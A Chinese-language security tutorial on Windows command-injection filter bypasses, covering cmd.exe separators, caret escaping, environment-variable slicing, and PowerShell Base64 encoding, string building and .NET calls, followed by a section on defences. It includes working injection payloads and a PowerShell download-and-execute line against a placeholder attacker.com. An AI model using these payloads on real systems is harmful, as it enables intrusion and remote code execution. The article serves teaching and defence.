摘要: 与Linux Shell一样,Windows的命令解释器(无论是传统的cmd.exe还是现代的PowerShell)也拥有一套独特的解析规则和特殊字符。攻击者常常利用这些特性,巧妙地构造看似无害的字符串,绕过安全过滤,最终实现任意命令执行。本文将深入剖析Windows环境下的字符绕过技术,分别探讨cmd.exe的命令分隔符、变量替换、转义符妙用,以及PowerShell中更为强大的编码、字符串操作和.NET方法调用等高级绕过技巧,并为开发者和系统管理员提供一套坚实的防御策略。

关键词: 命令注入, 字符绕过, Windows安全, CMD, PowerShell, Web安全


⚠️ 严正声明与道德准则

本文所有技术、代码和示例,仅用于授权环境下的安全研究、渗透测试、教学和防御验证。严禁将本文内容用于任何形式的非法攻击活动。理解攻击技术是为了构建更坚固的防御。请在法律和道德的框架内使用这些知识。


引言:Windows命令解释器的双重面孔

当一个Web应用调用系统命令时,它在Windows上通常会面对两个执行环境:

  1. cmd.exe: 传统、古老但无处不在的命令解释器,其解析规则充满了历史遗留的“特性”。

  2. PowerShell.exe: 现代、强大、基于.NET的自动化引擎,它不仅是一个Shell,更是一个完整的脚本环境。

攻击者正是利用这两者各自的“特殊性”,来实现对过滤器的“降维打击”。

第一章:传统艺能——CMD.exe的解析“诡计”

cmd.exe的命令解析器虽然功能相对简单,但其支持的多种命令分隔符和字符扩展机制,为绕过提供了丰富的“弹药”。

1.1 命令分隔符:一行命令,多重杀机

这是最基础也最有效的绕过方式。cmd.exe支持多种字符来在一行中执行多条命令。

  • & (无条件执行): 无论前面的命令成功与否,都执行后面的命令。(攻击者最常用)

  • && (成功后执行): 只有前面的命令成功执行(errorlevel为0),才执行后面的命令。

  • || (失败后执行): 只有前面的命令执行失败,才执行后面的命令。

  • | (管道符): 将前一个命令的输出,作为后一个命令的输入。

  • %0a (换行符): 在某些Web应用上下文中,URL编码的换行符可以被解释为命令分隔符。

  • 绕过场景: 一个Web应用提供nslookup功能,后台代码为system("nslookup " . $userInput);

  • 实战案例:

    • 用户输入: example.com & whoami

    • 后台实际执行: nslookup example.com & whoami

      • nslookup会正常执行,然后whoami命令紧接着被无条件执行,攻击者成功获取到当前用户名。

1.2 转义符^的妙用:打散关键字

  • 原理: ^cmd.exe的转义符,可以用来转义特殊字符,也可以用来连接命令,使其在解析时被“还原”。

  • 绕过场景: 一个简单的WAF或过滤器,通过字符串匹配来阻止ping, whoami等关键字。

  • 实战案例:

    • 原始命令: whoami

    • 绕过payload: w^h^o^a^m^i

    • 原理分析: cmd.exe在执行前会预处理命令行,^使得后面的字符被视为普通字符,但在最终组合成命令时,这些^被去除,命令被成功重组并执行。

    • 同理: p^i^n^g 8.8.8.8 也能成功执行。

1.3 环境变量替换:“借尸还魂”

  • 原理: cmd.exe使用%VAR%的形式来引用环境变量。我们可以利用系统自带的、内容丰富的环境变量来拼接出被过滤的命令或路径。

  • 绕过场景: 过滤器阻止了system32, exe等敏感字符串。

  • 实战案例:

    • 绕过system32:

      • 原始命令: C:\Windows\System32\calc.exe

      • 绕过payload: %windir%\system32\calc.exe

    • 更高级的拼接:

      • echo %ComSpec% 通常会输出 C:\Windows\system32\cmd.exe

      • 我们可以截取其中的字符来构造命令,例如:

        DOS

        # 目标:执行 calc.exe,但 "calc" 被过滤
        # %ComSpec:~-4% 的结果是 ".exe"
        # %SystemRoot:~0,1% 的结果是 "C"
        # 于是可以构造一个程序名
        set a=%SystemRoot:~0,1%
        set b=al
        set c=c
        %a%:\windows\system32\%c%%b%%c%.%ComSpec:~-3%
        

        这种方式极其复杂,但能绕过非常严格的片段匹配过滤器。


第二章:现代利器——PowerShell的“魔法”表达

PowerShell将命令注入的威胁提升到了一个全新的维度,因为它本身就是一门图灵完备的编程语言。

2.1 编码绕过:powershell -e

  • 原理: PowerShell的-EncodedCommand(缩写为-e)参数,允许接收一个Base64编码的命令字符串并执行。这是绕过几乎所有静态关键字过滤的“大杀器”。

  • 绕过场景: WAF或过滤器禁止了Invoke-Expression, IEX, system等所有危险关键字。

  • 实战案例:

    1. 生成payload:

      • 原始命令: IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/evil.ps1')

      • 在PowerShell中对其进行Base64编码:

        PowerShell

        $command = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/evil.ps1')"
        $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
        $encodedCommand = [Convert]::ToBase64String($bytes)
        Write-Host $encodedCommand
        

        你会得到一长串看似无害的Base64字符。

    2. 构造最终payload:

      powershell.exe -e <那一长串Base64字符>
      

      这个payload中不包含任何被过滤的关键字,但PowerShell会忠实地解码并执行其中的恶意命令。

2.2 字符串拼接与格式化

  • 原理: 在执行前,动态地在内存中构建恶意命令字符串。

  • 实战案例:

    • 字符串拼接 (+): powershell -c "$a='Inv'+'oke-Exp'+'ression'; IEX $a"

    • 格式化操作符 (-f): powershell -c "(& ('{0}{1}' -f 'Get-','Process'))" (& ...)是PowerShell的调用操作符,用于执行字符串命令。

2.3 直接调用.NET Framework

  • 原理: PowerShell可以无缝访问和调用.NET Framework的所有功能。这意味着攻击者可以不使用任何常见的命令行工具(如whoami, ipconfig),而是直接调用底层的.NET API来完成任务。

  • 绕过场景: 基于命令名的行为监控,例如监控whoami.exe的执行。

  • 实战案例:

    • 替代whoami: powershell -c "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name"

    • 替代ping: powershell -c "(New-Object System.Net.NetworkInformation.Ping).Send('8.8.8.8')" 这些命令看起来不像传统的系统命令,但效果完全一样,能够有效绕过基于签名的检测。


第三章:纵深防御——驯服Windows命令执行

  1. 避免调用Shell解释器 (根本之策):

    • 首选方案! 使用编程语言中可以直接创建进程的API,并以数组/列表形式传递参数,而不是将所有内容拼接成一个字符串。

    • C# 示例:

      C#

      // 危险的方式
      // Process.Start("cmd.exe", "/c nslookup " + userInput);
      
      // 安全的方式
      ProcessStartInfo startInfo = new ProcessStartInfo("nslookup.exe");
      startInfo.Arguments = userInput; // userInput被视为单个、独立的参数
      Process.Start(startInfo);
      
  2. 严格的输入验证 (白名单):

    • 放弃黑名单策略。应该使用正则表达式严格限制用户输入,确保其只包含预期的字符(例如,IP地址只应包含数字和点)。

  3. PowerShell安全加固 (极其重要):

    • 启用全面的PowerShell日志记录: 通过组策略(Group Policy)启用“模块日志记录”和“脚本块日志记录”。这可以记录下经过解码和反混淆后的真实执行代码,是事后追溯和分析的“黑匣子”。

    • 使用约束语言模式 (Constrained Language Mode): 可以限制PowerShell的功能,禁止访问危险的.NET类、COM对象等,大大降低其作为攻击工具的威力。

    • 应用白名单 (AppLocker): 限制powershell.exe的执行,例如,只允许管理员和特定脚本运行。

结论

Windows环境下的命令注入绕过,是一场在传统cmd.exe的解析怪癖和现代PowerShell的强大编程能力之间展开的攻防艺术。对于防御者而言,试图通过“围堵”特定关键字来构建防线,无异于“螳臂当车”。真正的安全壁垒,必须建立在“不信任输入、避免调用Shell、强化日志监控”这三大基石之上。深刻理解Windows命令解释器的双重面孔,才能在实战中料敌先机,构筑有效的纵深防御。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐